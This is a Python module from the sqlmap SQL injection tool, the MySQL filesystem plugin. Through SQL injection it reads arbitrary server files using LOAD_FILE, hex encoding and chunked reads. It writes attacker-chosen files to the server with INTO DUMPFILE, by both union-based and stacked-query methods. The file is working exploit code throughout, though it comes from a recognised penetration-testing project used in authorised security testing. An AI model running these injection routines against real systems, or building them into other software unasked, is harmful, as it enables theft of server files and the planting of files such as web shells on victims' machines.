#!/usr/bin/env python

"""
$Id$

This file is part of the sqlmap project, http://sqlmap.sourceforge.net.

Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>

sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.

sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more
details.

You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
"""

from lib.core.common import randomStr
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapNoneDataException
from lib.request import inject
from lib.techniques.inband.union.test import unionTest
from lib.techniques.inband.union.use import unionUse

from plugins.generic.filesystem import Filesystem as GenericFilesystem

class Filesystem(GenericFilesystem):
    def __init__(self):
        GenericFilesystem.__init__(self)

    def unionReadFile(self, rFile):
        infoMsg = "fetching file: '%s'" % rFile
        logger.info(infoMsg)

        result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile)

        return result

    def stackedReadFile(self, rFile):
        infoMsg = "fetching file: '%s'" % rFile
        logger.info(infoMsg)

        self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
        self.getRemoteTempPath()

        tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))

        debugMsg  = "saving hexadecimal encoded content of file '%s' " % rFile
        debugMsg += "into temporary file '%s'" % tmpFile
        logger.debug(debugMsg)
        inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile))

        debugMsg  = "loading the content of hexadecimal encoded file "
        debugMsg += "'%s' into support table" % rFile
        logger.debug(debugMsg)
        inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))

        length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=2)

        if length is None or not length.isdigit() or not len(length) or length in ( "0", "1" ):
            errMsg  = "unable to retrieve the content of the "
            errMsg += "file '%s'" % rFile
            raise sqlmapNoneDataException, errMsg

        length   = int(length)
        sustrLen = 1024

        if length > sustrLen:
            result = []

            for i in range(1, length, sustrLen):
                chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, sort=False, resumeValue=False, charsetType=3)

                result.append(chunk)
        else:
            result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3)

        return result

    def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
        logger.debug("encoding file to its hexadecimal string value")

        fcEncodedList   = self.fileEncode(wFile, "hex", True)
        fcEncodedStr    = fcEncodedList[0]
        fcEncodedStrLen = len(fcEncodedStr)

        if kb.injPlace == "GET" and fcEncodedStrLen > 8000:
            warnMsg  = "the injection is on a GET parameter and the file "
            warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
            warnMsg += "bytes, this might cause errors in the file "
            warnMsg += "writing process"
            logger.warn(warnMsg)

        unionTest()

        oldParamFalseCond = kb.unionFalseCond
        kb.unionFalseCond = True

        debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
        logger.debug(debugMsg)

        sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, dFile)
        unionUse(sqlQuery, direct=True, unescape=False, nullChar="''")

        kb.unionFalseCond = oldParamFalseCond

        if confirm:
            self.askCheckWrittenFile(wFile, dFile, fileType)

    def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
        debugMsg  = "creating a support table to write the hexadecimal "
        debugMsg += "encoded file to"
        logger.debug(debugMsg)

        self.createSupportTbl(self.fileTblName, self.tblField, "longblob")

        logger.debug("encoding file to its hexadecimal string value")
        fcEncodedList = self.fileEncode(wFile, "hex", False)

        debugMsg  = "forging SQL statements to write the hexadecimal "
        debugMsg += "encoded file to the support table"
        logger.debug(debugMsg)

        sqlQueries = self.fileToSqlQueries(fcEncodedList)

        logger.debug("inserting the hexadecimal encoded file to the support table")

        for sqlQuery in sqlQueries:
            inject.goStacked(sqlQuery)

        debugMsg = "exporting the %s file content to file '%s'" % (fileType, dFile)
        logger.debug(debugMsg)

        # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
        inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)

        if confirm:
            self.askCheckWrittenFile(wFile, dFile, fileType)